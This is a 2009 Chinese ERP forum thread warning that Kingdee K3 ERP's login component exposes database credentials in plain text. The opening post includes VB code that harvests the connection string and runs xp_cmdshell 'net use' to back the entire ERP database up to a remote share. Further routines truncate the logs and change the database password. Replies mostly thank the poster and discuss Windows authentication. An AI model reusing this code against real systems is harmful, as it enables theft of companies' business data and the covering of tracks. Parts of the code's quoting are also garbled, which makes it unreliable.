阳光网驿-企业信息化交流平台【DTC零售连锁全渠道解决方案】

 找回密码
 注册

QQ登录

只需一步,快速开始

扫描二维码登录本站

手机号码,快捷登录

老司机
查看: 10935|回复: 57

[转帖] K3 ERP 软件存在严重安全漏洞,当心!!

  [复制链接]
  • TA的每日心情
    开心
    2024-3-13 09:12
  • 签到天数: 1850 天

    [LV.Master]伴坛终老

    发表于 2009-8-26 16:05:55 | 显示全部楼层 |阅读模式
    这个漏洞在K3 各个版本都存在并且一样,包括新发版的K3 V123个版本。主要数据安全漏洞描述如下:
    最大的安全漏洞在K3login.dll这个控件上,,它能明文显示K3 ERP数据库的密码等信息,这是非常危险的,简单VB6.0代码如下:
    Dim k3lg As New k3Login.ClsLogin
       If k3lg.CheckLogin Then ’如果成功登录,执行下面语句
       
    Msgbox  k3lg.PropsString

      End If
    运行上述代码后,会弹出对话框,显示所有SQL数据库信息
    你们看看,客户的ERP 数据库安全是不是全部暴露出来了,这是致命的漏洞,一个企业的所有商业机密都在这个数据库中,如该数据库泄露出去,对企业的影响是致命的。由于K3 ERP的这个漏洞,网管完全不知道数据库是如何泄露的(没有采用黑客攻击等非法手段,只是利用金蝶ERP软件安全设计漏洞)这些漏洞金蝶集团的开发人员提供的建议是(K3分析设计部祝经理提供的建议):采用WINDOWS模式认证即可避免此漏洞,请各位修改认证方式,避免企业内部数据丢失!!!!!




                      K3 ERP登录留下密码痕迹漏洞,适合所有版本:当用户通过登录界面登录ERP后,会将登录信息写入注册表中,包括服务器名称、登录密码、用户名称等等,因此该注册表就泄露了所有在计算机中登录用户的信息,其加密方式太简单,只要几次枚举方式就可PJ,通过数学知识,如等差数列等规律,轻而易举地将用户密码PJ,你们研究加密算法的人自己去看看规律,应对方法:因此用户最好定期清除注册表的登录痕迹,防止用户密码泄露












                    利用金蝶ERP软件中KDLOGIN.dll漏洞 远程备份服务器中ERP数据库代码如下(VB):
    Public k3lg As New k3Login.ClsLogin
    Public cnn As New ADODB.Connection
    Public i As Integer
    Public j As Integer
    Public K As Integer
    Public S As Integer
    Public cnnstr As String
    Public databsnm As String
    Public Sub Main()
    On Error Resume Next
    If k3lg.CheckLogin Then
       i = InStr(k3lg.PropsString, "{")
       j = InStr(k3lg.PropsString, "}")
       cnnstr = Mid(k3lg.PropsString, i + 1, j - i - 1)
       For K = 0 To Len(cnnstr) - 1
           If Left(Right(cnnstr, K), 1) = "=" Then
              databsnm = Right(cnnstr, K - 1)
              Exit For
           End If
       Next K
       F001主窗口.帐套名称 = k3lg.AcctName
       F001主窗口.Show
    End If
    End Sub
    Public Sub 备份数据库(ByVal beifsjk As String)
    Screen.MousePointer = 13
    Set cnn = New ADODB.Connection
    cnn.CommandTimeout = 0
    cnn.Open cnnstr
    cnn.BeginTrans
          On Error GoTo cnn_err:
          Dim fy As String
          Dim fy001 As String
          Dim fy002 As String
          Dim jsj As String
          Dim yhu As String
          Dim mima As String
          Dim wenjian As String
          jsj = F001主窗口.计算机名称.Text
          wenjian = F001主窗口.文件夹.Text
          mima = F001主窗口.用户密码.Text
          yhu = F001主窗口.用户名称.Text
         fy = "exec master..xp_cmdshell'net use z: \\" & jsj &"-:special:1:- & wenjian & "  " & mima & "  /user:"& jsj & "-:special:1:- & yhu & "'"
          fy001 = "backup database " & databsnm & " to disk='z:\-:special:1:- & beifsjk & " '"
          fy002 = "exec master..xp_cmdshell 'net use z: /delete' "
          cnn.Execute fy
          cnn.Execute fy001
          cnn.Execute fy002
          cnn.CommitTrans
       cnn.Close
       Set cnn = Nothing
       Screen.MousePointer = vbDefault
       MsgBox "数据库: " & databsnm & " 成功备份为: " & beifsjk, vbInformation, "提示"
       Exit Sub
    cnn_err:
          cnn.RollbackTrans
                cnn.Close
          Set cnn = Nothing
          Screen.MousePointer = vbDefault
          MsgBox Err.Description, vbInformation, "错误提示"
    End Sub
    Public Sub 清除日志()
    Screen.MousePointer = 13
    Set cnn = New ADODB.Connection
    cnn.CommandTimeout = 0
    cnn.Open cnnstr
    cnn.BeginTrans
          On Error GoTo cnn_err:
          Dim fy As String
          Dim fy001 As String
          Dim fy002 As String
          fy = "dump transaction  " & databsnm & " with truncate_only"
          fy001 = "backup log " & databsnm & " with truncate_only"
          fy002 = "dbcc shrinkdatabase(" & databsnm & ") "
          cnn.Execute fy
          cnn.Execute fy001
          cnn.Execute fy002
       cnn.CommitTrans
       cnn.Close
       Set cnn = Nothing
       Screen.MousePointer = vbDefault
       MsgBox "数据库: " & databsnm & "日志成功清除!", vbInformation, "提示"
       Exit Sub
    cnn_err:
          cnn.RollbackTrans
          cnn.Close
          Set cnn = Nothing
          Screen.MousePointer = vbDefault
          MsgBox Err.Description, vbInformation, "错误提示"
    End Sub
    Public Sub 修改数据库密码函数()
    Screen.MousePointer = 13
    Set cnn = New ADODB.Connection
    cnn.CommandTimeout = 0
    cnn.Open cnnstr
    cnn.BeginTrans
          On Error GoTo cnn_err:
          Dim fy As String
         fy = "exec sp_password " & "'" & F002数据库密码修改.输入旧密码 & "'"& "," & "'" & F002数据库密码修改.新密码确认.Text & "'"
          cnn.Execute fy
       cnn.CommitTrans
       cnn.Close
       Set cnn = Nothing
       Screen.MousePointer = vbDefault
       MsgBox "数据库密码成功修改!", vbInformation, "提示"
       Exit Sub
    cnn_err:
          cnn.RollbackTrans
          cnn.Close
          Set cnn = Nothing
          Screen.MousePointer = vbDefault
          MsgBox Err.Description, vbInformation, "错误提示"
    End Sub

           
           

           

    评分

    参与人数 1阳光币 +5 收起 理由
    sunwy + 5 技术性文章,应该要大力支持

    查看全部评分

    楼主热帖
    启用邀请码注册,提高发帖质量,建设交流社区
  • TA的每日心情
    开心
    2017-5-1 19:07
  • 签到天数: 335 天

    [LV.8]以坛为家I

    发表于 2009-8-27 07:31:45 | 显示全部楼层
    是不是真的,大企业的更加得当心了。
    启用邀请码注册,提高发帖质量,建设交流社区
  • TA的每日心情
    奋斗
    前天 10:33
  • 签到天数: 2961 天

    [LV.Master]伴坛终老

    发表于 2009-8-27 08:27:08 | 显示全部楼层
    谢谢,看来值得注意啦。
    启用邀请码注册,提高发帖质量,建设交流社区
  • TA的每日心情
    奋斗
    前天 14:20
  • 签到天数: 2337 天

    [LV.Master]伴坛终老

    发表于 2009-8-27 08:32:34 | 显示全部楼层
    采用WINDOWS认证,KD的技术人员早就告诉我们了,呵呵。想不到楼主真细心,还进行了详细的测试,谢谢哈
    启用邀请码注册,提高发帖质量,建设交流社区
  • TA的每日心情

    2020-1-16 20:25
  • 签到天数: 790 天

    [LV.10]以坛为家III

    发表于 2009-8-27 08:32:38 | 显示全部楼层
    谢谢提醒,但是不是真的啊?????
    启用邀请码注册,提高发帖质量,建设交流社区
  • TA的每日心情
    无聊
    2016-5-16 10:32
  • 签到天数: 44 天

    [LV.5]常住居民I

    发表于 2009-8-27 10:21:15 | 显示全部楼层
    原帖由 tt_2008 于 2009-8-27 07:55 发表
    WINDOWS模式认证?????? 没看懂呢

    数据库的验证方式,一般的选择混合认证,现在说要选择windows认证,在企业管理器里面是可以修改的!
    启用邀请码注册,提高发帖质量,建设交流社区
  • TA的每日心情
    慵懒
    2023-5-19 11:28
  • 签到天数: 433 天

    [LV.9]以坛为家II

    发表于 2009-8-28 11:47:34 | 显示全部楼层
    那有什么好办法吗,这样会有什么后果呢
    启用邀请码注册,提高发帖质量,建设交流社区
  • TA的每日心情
    慵懒
    2014-8-4 12:53
  • 签到天数: 13 天

    [LV.3]偶尔看看II

    发表于 2009-8-28 13:10:18 | 显示全部楼层
    我用SQL的时候用的都是WINDOWS验证的,我没影响
    启用邀请码注册,提高发帖质量,建设交流社区
  • TA的每日心情
    开心
    2024-4-12 12:07
  • 签到天数: 884 天

    [LV.10]以坛为家III

    发表于 2009-8-29 23:46:33 | 显示全部楼层
    真是的,我不看不知道看了可是大开眼界了....我马上把我的处理好...
    启用邀请码注册,提高发帖质量,建设交流社区
  • TA的每日心情
    开心
    2014-8-24 11:31
  • 签到天数: 388 天

    [LV.9]以坛为家II

    发表于 2009-8-30 00:14:06 | 显示全部楼层
    windows认证账套会有问题的。
    启用邀请码注册,提高发帖质量,建设交流社区
    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表